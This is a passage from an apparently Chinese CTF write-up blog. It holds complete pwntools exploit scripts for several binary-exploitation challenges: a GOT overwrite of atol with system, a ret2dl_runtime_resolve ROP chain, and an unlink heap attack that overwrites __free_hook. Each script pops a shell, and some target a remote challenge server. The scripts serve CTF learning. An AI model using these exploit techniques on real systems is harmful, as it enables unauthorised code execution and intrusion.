	p.sendlineafter('End id: ',str(end))
23
	p.sendlineafter('New number',str(num))
24
atol_got = elf.got['atol']
25
atol_offset = libc.symbols['atol']
26
system_offset = libc.symbols['system']
27
28
create(4)
29
create(4)
30
31
edit(0,0,5)
32
overwrite(0,3,6,atol_got)
33
show(1,0)
34
p.recvuntil('Number:')
35
atol_addr = int(p.recvuntil('\n',drop=True),10)
36
log.success('Atol_Addr:\t' + hex(atol_addr))
37
libc_base = atol_addr - atol_offset
38
system = libc_base + system_offset
39
edit(1,0,system)
40
41
p.sendlineafter('>','3')
42
p.sendlineafter('List id: ','0')
43
p.sendlineafter('Item id: ','0')
44
p.sendlineafter('New number: ','/bin/sh\x00')
45
p.interactive()

Week_FOUR

1.ROP_LEVEL5
一个ret2_dl_runtime_resolve,可以找CTF_WIKI上面的模板做,理解的话,看我另外一篇文章JUMP——SLOT即可,延迟绑定

1
from pwn import*
2
p = process('./ROP5')
3
rop = ROP('./ROP5')
4
elf = ELF('./ROP5')
5
p = remote('47.103.214.163',20700)
6
plt0 = elf.get_section_by_name('.plt').header.sh_addr
7
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
8
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
9
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
10
11
base_stage = 0x804A060 + 0x400
12
13
rop.raw('U' * 0x48)
14
rop.read(0, base_stage, 100)
15
rop.migrate(base_stage)
16
17
p.sendlineafter('LEVEL5?',rop.chain())
18
19
fake_sym_addr = base_stage + 24 #fake_sym
20
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #alignment
21
fake_sym_addr = fake_sym_addr + align # 
22
index_dynsym = (fake_sym_addr - dynsym) / 0x10
23
st_name = fake_sym_addr + 0x10 - dynstr #system
24
fake_read_sym = flat([st_name, 0, 0, 0x12])
25
26
index_offset = base_stage + 16 - rel_plt
27
read_got = elf.got['read']
28
r_info = (index_dynsym << 8) | 0x7 
29
fake_read_reloc = flat([read_got, r_info])
30
31
payload  = p32(plt0)
32
payload += p32(index_offset)
33
payload += 'UUUU'
34
payload += p32(base_stage + 80) # binsh
35
payload += fake_read_reloc
36
payload += 'U'*align
37
payload += fake_read_sym
38
payload += 'system\x00'
39
payload += 'U' * (80 -len(payload))
40
payload += '/bin/sh\x00'
41
payload += 'U'*(100 - len(payload))
42
p.sendline(payload)
43
p.interactive()

2.Annevi_note2
程序关闭了标准输出[stdout],但是没有关闭错误输出[stderr],所以通过给的libc文件,找到对应两个函数的偏移,即可通过爆破,从而有部分概率将标准输出改到错误输出上面,从而输出想要的内容

1
from pwn import*
2
p = remote('47.103.214.163',20701)
3
#p = process('./AN2')
4
elf = ELF('AN2')
5
libc = ELF('libc-2.23.so')
6
puts_got = elf.got['puts']
7
context.log_level = 'debug'
8
context(arch = 'amd64',os ='linux')
9
def add(size,content):
10
	p.sendline('1')
11
	p.sendline(str(size)) # 1024> size >=144
12
	p.sendline(content)
13
def dele(index):
14
	p.sendline('2')
15
	p.sendline(str(index))
16
def show(index):
17
	p.sendline('3')
18
	p.sendline(str(index))
19
def edit(index,content):
20
	p.sendline('4')
21
	p.sendline(str(index))
22
	p.sendline(content)
23
stdout = 0x6020A0
24
List = 0x6020E0
25
add(0x90,'U'*0x10)	#0
26
add(0x90,'U'*0x10)	#1
27
#----------create the fake chunk
28
payload  = p64(0)
29
payload += p64(0x90) # size
30
payload += p64(List - 0x18) # fd List[0]-0x18
31
payload += p64(List - 0x10) # bk List[0]-0x10
32
#----------
33
payload = payload.ljust(0x90,'\x00') #padding
34
payload += p64(0x90)
35
payload += p64(0xA0)
36
edit(0,payload)
37
dele(1)
38
payload = 'U'*0x18 + p64(puts_got) + p64(List) + p64(stdout)
39
edit(0,payload)
40
edit(2,'\x40\x25')
41
show(0)
42
p.recvuntil('content:')
43
libcbase = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
44
log.success('LibcBase:\t' + hex(libcbase))
45
system = libcbase + libc.sym['system']
46
str_bin_sh = libcbase + 0x18CD57
47
free_hook = libcbase + 0x3C67A8
48
edit(1,p64(free_hook)+p64(str_bin_sh))
49
edit(0,p64(system))
50
dele(1)
51
p.interactive()
Contents
  1. 1. Week_ONE
    1. 1.1. Pwn
    2. 1.2. Reverse
    3. 1.3. FLAG
  2. 2. Week_TWO
  3. 3. Week_THR
  4. 4. Week_FOUR
|